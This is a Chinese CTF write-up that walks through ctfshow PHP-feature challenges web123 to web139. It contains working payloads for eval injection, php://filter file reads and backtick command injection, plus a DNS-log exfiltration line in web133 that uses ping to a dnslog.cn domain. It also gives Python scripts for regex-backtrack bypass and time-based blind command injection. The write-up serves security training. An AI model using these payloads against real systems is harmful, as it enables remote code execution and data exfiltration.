Bootstrap

ctfshow web入门 php特性 web123--web139

web123

在这里插入图片描述必须传CTF_SHOW,CTF_SHOW.COM 不能有fl0g
在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了。

POSTCTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

但是和这个$a=$_SERVER['argv']; 没啥关系
不过为了后面更好做题我们还是研究一下
添加链接描述
他这里对这个就讲的特别详细了,我抄一下

argv是数组,argc是数字。
可通过var_dump($_SERVER);var_dump($argv);语句查看

argv有独立GET之外获取参数的作用。比如传入?aaa+bbb   argv(数组)两个元素

是aaa和bbb。argc是数组的长度。

php中有些文件(pearcmd.php)是通过argv和argc来获取参数的。
web网页模式下

在web页模式下必须在php.ini开启register_argc_argv配置项

设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果,题目中应该是On

这时候的$_SERVER[‘argv’][0] = $_SERVER[QUERY_STRING]
//$_SERVER[‘argv’][0]就是a[0]

$argv,$argc在web模式下不适用
cli模式(命令行)下

第一个参数总是当前【脚本】的文件名,因此 $argv[0] 就是脚本文件名。

当把php作为脚本,使用这个命令执行:php script.php arg1 arg2 arg3

以上示例的输出类似于:
array(4) {
  [0]=>
  string(10) "script.php"
  [1]=>
  string(4) "arg1"
  [2]=>
  string(4) "arg2"
  [3]=>
  string(4) "arg3"
}

然后现在是网页模式

这时候的$_SERVER[‘argv’][0] = $_SERVER[QUERY_STRING]
//$_SERVER[‘argv’][0]就是a[0]

利用$_SERVER['argv'][0] 就可以绕过对**isset($fl0g)**的判断,用+代表空格。

构造payload

get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
get:
?a=1=1+fl0g=flag_give_me
post:
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) 

这道题终于解决了

web125

在这里插入图片描述就用argv的方法来写

get:
?$fl0g=flag_give_me;
post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])

web126

在这里插入图片描述如上题

web127

在这里插入图片描述extract:从数组中将变量导入到当前的符号表
在这里插入图片描述还有空格可以用

?ctf show=ilove36d

在这里插入图片描述

web128

在这里插入图片描述

gettext():_()gettext()的拓展函数 在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数(因为过滤了字母所以我们就用下划线,让其输出)
get_defined_vars:返回由所有已定义变量所组成的数组,因为包含了flag.php,所以flag.php里面肯定有$flag储存了flag。
?f1=_&f2=get_defined_vars

在这里插入图片描述

web129

在这里插入图片描述

stripos:查找字符串首次出现的位置

readfile: 输出文件

题目要求我们构造的f中有ctfshow,且不在最开头。则执行readfile函数,同时还要不影响flag.php的读取

GET传参:

//查看源码获得flag
?f=php://filter/|ctfshow/resource=flag.php
?f=/ctfshow/../../../../../../../var/www/html/flag.php
?f=./ctfshow/../flag.php

//直接回显base64,然后base64解密
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

web130

在这里插入图片描述stripos()遇到数组会返回null,null!=false,所以可以绕过stripos函数
然后数组可以绕过preg_match

POST:
f[]=1
.表示任意单个字符,+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复。

所以在ctfshow前面必须有至少一个字符,才会返回true
所以直接构造playload:f=ctfshow,即可绕过preg_match函数

同时,if(0 === flase)返回值为false0不是强等于false的,所以也不满足if(stripos($f, 'ctfshow') === FALSE)
POST:
f=ctfshow

还可以目录溢出

import requests
url="xxxxxxxxxxxxxxx"
data={
    'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web131

在这里插入图片描述会进行字符串转换我们之前的办法用不了了
用脚本使得目录溢出

import requests
url="xxxxxxxxxxxxxxx"
data={
    'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

在这里插入图片描述

web132

在这里插入图片描述
扫描后台,我们进admin/index.php看看
在这里插入图片描述在这里插入图片描述mt_rand():使用 Mersenne Twister 算法生成随机整数。相比较于rand()函数其速度更快
生成1-877的随机数

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
由于&&||优先级高所以可以看成是
if($code === mt_rand(1,0x36D) && $password === $flag|| $username ==="admin")
所以满足username=admin然后code=admin就有flag

?username=admin&code=admin&password=1在这里插入图片描述

web133

在这里插入图片描述

$F = @$_GET['F'](防止报错)
substr($F,0,6)(截取其中的六个字符)
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解
就是说执行的是eval'$F`;+sleep 3`';

然后我们就可以进行类似的构造

?F=`$F` ;ls /
?F=`$F` ;tac /f*

但是没有回显

?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd '[a-z]'/'[0-9]'`.dnslog得到的网址 -c 1

DNSlog
在这里插入图片描述

先点击左边的获得域名,然后传参之后再点击右边的刷新结果
在这里插入图片描述flagctfshowcf2216ae8dbe496da637709e3218946c.he20y5.dnslog.cn
8-4-4-4-12的flag格式
ctfshow{cf2216ae-8dbe-496d-a637-709e3218946c}

web134

在这里插入图片描述

parse_str是对get请求进行的内容解析成变量。例如传递?a=1,执行后就是$a=1。
extract 其功能是将关联数组中的键名转换为变量名,并将键值赋给这些变量。

对_POST进行extract,那么构造

?_POST[key1]=36d&_POST[key2]=36d
//刚好   key1=36d&key2=36d

查看源代码
在这里插入图片描述

web135

在这里插入图片描述web133一样的东西但是我们的grep被过滤了,所以得思考一下怎么才行,但是反斜杠引号什么的没过滤,就可以用来绕过
但是不知道为什么web133的相关操作我都用不了了
只能用其他方法了比如写文件

?F=`$F` ;cp flag.php x.txt
?F=`$F` ;nl flag.php>x.txt
?F=`$F` ;mv flag.php x.txt

然后访问x.txt就可以拿到flag
在这里插入图片描述

拼接一下ctfshow{25b598bc-5a5b-4baf-a23e-2c4e9dea9d8f}

web136

在这里插入图片描述exec相当于system
直接ls查看目录,发现一片空白,这时候就需要学新东西了

tee命令
主要用于从标准输入读取数据,并将其内容同时输出到标准输出(屏幕)和一个或多个文件中。简单来说,就像水管中的 T 形接头一样,数据流经过这里时,既可以继续流向下游,也可以分流保存到指定的文件中。
例子
echo "This is a test line." | tee file1.txt file2.txt
不仅会输出而且还会保存到file1.txt和 file2.txt
?c=ls /|tee 3
然后访问3,下载文件记事本打开

查看flag

?c=cat /f149_15_h3r3|tee 6

在这里插入图片描述在这里插入图片描述

web 137

在这里插入图片描述获得flag要调用getflag,也就是调用类里面的成员

->用于动态语境处理某个类的某个实例

::可以调用一个静态的、不依赖于其他初始化的类方法

必须传参ctfshow

POST:
ctfshow=ctfshow::getflag

在这里插入图片描述查看源代码
在这里插入图片描述

web138

在这里插入图片描述
调用类中的成员但是不能有 : 那么刚才的方法就不能用了,但是我们的

call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。这就避免了:的出现。

传参

POST:
ctfshow[0]=ctfshow&ctfshow[1]=getflag

查看源码
在这里插入图片描述

web139

在这里插入图片描述

import requests
import time
import string

str = string.ascii_letters + string.digits + "-" + "{" + "}" + "_" + "~"    # 构建一个包含所有字母和数字以及部分符号的字符串,符号可以自己加
result = ""          # 初始化一个空字符串,用于保存结果

#获取多少行
for i in range(1, 99):
    key = 0   #用于控制内层循环(j)的结束

    #不break的情况下,一行最多几个字符
    for j in range(1, 99):
        if key == 1:
            break
        for n in str:       #n就是一个一个的返回值
            payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)   #{n}是占位符
            #print(payload)
            url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payload
            try:
                requests.get(url, timeout=(2.5, 2.5))   #设置超时时间为 2.5 秒,包括连接超时和读取超时,超时就是之前sleep 3了。

            # 如果请求发生异常,表示条件满足,将当前字符 n 添加到结果字符串中,并结束当前内层循环
            except:
                result = result + n
                print(result)
                break
            if n == '~':    #str的最后一位,“~”不常出现,用作结尾
                key = 1
    # 在每次获取一个字符后,将一个空格添加到结果字符串中,用于分隔结果的不同位置
    result += " "

在这里插入图片描述f149_15_h3r3

import requests
import time
import string

str = string.digits + string.ascii_lowercase + "-" + "_" + "~"# 题目过滤花括号,这里就不加了
result = ""
for j in range(1, 99):
    for n in str:
        payload = "if [ `cat /f149_15_h3r3 |cut -c {0}` == {1} ];then sleep 3;fi".format(j, n)
        # print(payload)
        url = "http://89e3e82d-d133-4a9e-a883-790d41e8a3b8.challenge.ctf.show?c=" + payload
        try:
            requests.get(url, timeout=(2.5, 2.5))
        except:
            result = result + n
            print(result)
            break
        if n=="~":
            result = result + "花括号"

继续跑flag

在这里插入图片描述

;